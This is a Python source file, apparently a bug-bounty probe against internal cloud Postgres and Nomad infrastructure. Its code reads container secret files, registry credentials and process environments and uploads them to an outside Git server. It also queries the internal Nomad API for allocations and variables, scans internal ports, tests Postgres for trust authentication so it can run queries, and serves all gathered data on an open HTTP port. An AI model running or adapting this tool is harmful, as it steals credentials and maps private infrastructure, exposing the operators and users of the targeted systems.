keyrunner/probe11.py

127 lines
6.5 KiB
Python

"""probe11b: internal vantage + /secrets read. Publishes to git.kaki87.net."""
import base64,http.client,http.server,json,os,socket,ssl,struct,threading,time
CTX=ssl._create_unverified_context()
TOK=os.environ.get('GITOK',''); REPO=os.environ.get('REPO','ct14506/keyrunner')
R={'t':time.time()}
LOCK=threading.Lock()
def note(k,v):
with LOCK: R[k]=v
def gput(path,text,msg):
try:
c=http.client.HTTPSConnection('git.kaki87.net',443,timeout=20,context=CTX)
c.request('GET','/api/v1/repos/%s/contents/%s'%(REPO,path),headers={'Authorization':'token '+TOK})
r=c.getresponse(); d=r.read(200000); c.close()
sha=json.loads(d).get('sha') if r.status==200 else None
b={'content':base64.b64encode(text.encode()).decode(),'message':msg}
if sha: b['sha']=sha
c=http.client.HTTPSConnection('git.kaki87.net',443,timeout=20,context=CTX)
c.request('PUT','/api/v1/repos/%s/contents/%s'%(REPO,path),json.dumps(b),
headers={'Authorization':'token '+TOK,'Content-Type':'application/json'})
c.getresponse().read(); c.close(); return True
except Exception as e:
print('GPUT_ERR',path,e,flush=True); return False
NAMES=['falcon-bug-bounty-flag-pgsql-dev-sandbox.i.aivencloud.com',
'falcon-bug-bounty-flag-pgsql.i.aivencloud.com','primary.i.aivencloud.com',
'dev-sandbox.i.aivencloud.com','falcon-bug-bounty-flag-pgsql-dev-sandbox.e.aivencloud.com']
PORTS=[22,10122,12691,12692,5432,80,443,8080,2375,4646,6443]
def readfile(p,n=20000):
try: return open(p,'rb').read(n).decode('latin1')
except Exception as e: return 'ERR:%s'%type(e).__name__
def secrets():
out={}
for d in ('/secrets','/secrets/.nomad','/run/secrets'):
try: out['ls:'+d]=sorted(os.listdir(d))
except Exception as e: out['ls:'+d]='ERR:%s'%type(e).__name__
for p in ('/secrets/run.env','/secrets/registry-auth.env','/secrets/.nomad-mount',
'/proc/self/environ','/etc/resolv.conf','/etc/hosts'):
out['f:'+p]=readfile(p)
try:
for root,ds,fs in os.walk('/secrets'):
for f in fs:
pp=os.path.join(root,f); out['w:'+pp]=readfile(pp)[:4000]
except Exception as e: out['walk']=type(e).__name__
try:
d=open('/proc/1/environ','rb').read(20000).decode('latin1'); out['f:/proc/1/environ']=d
except Exception as e: out['p1env']=type(e).__name__
return out
def http_get(h,p,path,port_tls=False,hdrs=None,timeout=5):
try:
s=socket.create_connection((h,p),timeout); s.settimeout(timeout)
if port_tls: s=CTX.wrap_socket(s,server_hostname=h)
s.sendall(('GET %s HTTP/1.1\r\nHost: %s\r\n%s\r\nConnection: close\r\n\r\n'%(path,h,''.join('%s: %s\r\n'%kv for kv in (hdrs or {}).items()))).encode())
d=b''
while len(d)<3000:
c=s.recv(3000)
if not c: break
d+=c
s.close(); return d[:2500].decode('latin1')
except Exception as e: return 'ERR:%s'%type(e).__name__
def dns_all():
out={}
for n in NAMES:
try: out[n]=sorted({a[4][0] for a in socket.getaddrinfo(n,None)})
except Exception as e: out[n]='ERR:%s'%type(e).__name__
return out
def tcp1(h,p,t=3.0):
t0=time.time()
try:
s=socket.create_connection((h,p),t); s.settimeout(2)
try: banner=s.recv(64)
except Exception: banner=b''
s.close(); return {'open':True,'ms':round((time.time()-t0)*1000),'banner':banner[:60].decode('latin1')}
except Exception as e: return {'open':False,'ms':round((time.time()-t0)*1000),'err':type(e).__name__}
def startup(user='avnadmin',db='defaultdb'):
pkt=struct.pack('!I',196608)+b'user\0'+user.encode()+b'\0database\0'+db.encode()+b'\0\0'
return struct.pack('!I',len(pkt)+4)+pkt
def pgprobe(h,p,tls=True):
res={}
try:
s=socket.create_connection((h,p),5); s.settimeout(6)
except Exception as e: return {'connect':type(e).__name__}
try:
if tls:
s.sendall(struct.pack('!II',8,80877103)); b=s.recv(1); res['ssl']=b.decode('latin1') if b else 'EOF'
if b==b'S':
try:
s=CTX.wrap_socket(s,server_hostname=h); s.settimeout(6); res['tls']='ok'
except Exception as e: res['tls']='ERR:%s'%type(e).__name__
else: res['tls']='refused'
s.sendall(startup()); d=s.recv(9)
if len(d)>=9:
typ=d[0:1].decode('latin1'); code=struct.unpack('!I',d[5:9])[0]
res['auth']={0:'OK_TRUST',3:'MD5',5:'SCRAM',10:'SASL_10','R':'ERR'}.get(code,code) if typ=='R' else typ
res['raw']=d[:9].hex()
if typ=='R' and code==0:
s.sendall(struct.pack('!I',9)+b'Q'+b'SELECT version()\0'); res['q']=s.recv(400).decode('latin1').replace('\0',' ')[:200]
s.close()
except Exception as e: res['ex']=type(e).__name__
return res
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with LOCK: body=json.dumps(R).encode()
self.send_response(200); self.send_header('Content-Type','application/json')
self.send_header('Content-Length',str(len(body))); self.end_headers(); self.wfile.write(body)
def log_message(self,*a): pass
def serve():
http.server.ThreadingHTTPServer(('0.0.0.0',8000),H).serve_forever()
def main():
note('host',socket.gethostname())
note('egress','pending')
try:
import urllib.request
note('egress',urllib.request.urlopen('https://api.ipify.org',timeout=8).read().decode())
except Exception as e: note('egress','ERR:%s'%type(e).__name__)
threading.Thread(target=serve,daemon=True).start()
s=secrets(); note('secrets',s); gput('p11_secrets.json',json.dumps(s,indent=1),'p11secrets')
note('nomad',{'self':http_get('169.254.1.2',4646,'/v1/agent/self'),
'allocs':http_get('169.254.1.2',4646,'/v1/allocations'),
'vars':http_get('169.254.1.2',4646,'/v1/vars?namespace=*'),
'ns':http_get('169.254.1.2',4646,'/v1/namespaces')})
gput('p11_nomad.json',json.dumps(note.__self__ if False else R['nomad'],indent=1),'p11nomad')
note('dns',dns_all()); gput('p11_dns.json',json.dumps(R['dns']),'p11dns')
note('tcp',{p:tcp1('10.1.33.147',p) for p in PORTS}); gput('p11_tcp.json',json.dumps(R['tcp']),'p11tcp')
note('pg',{p:pgprobe('10.1.33.147',p) for p in (12691,12692)}); gput('p11_pg.json',json.dumps(R['pg']),'p11pg')
gput('p11_all.json',json.dumps(R),'p11all')
print('PROBE11B_DONE',json.dumps(R)[:6000],flush=True)
while True: time.sleep(30)
if __name__=='__main__': main()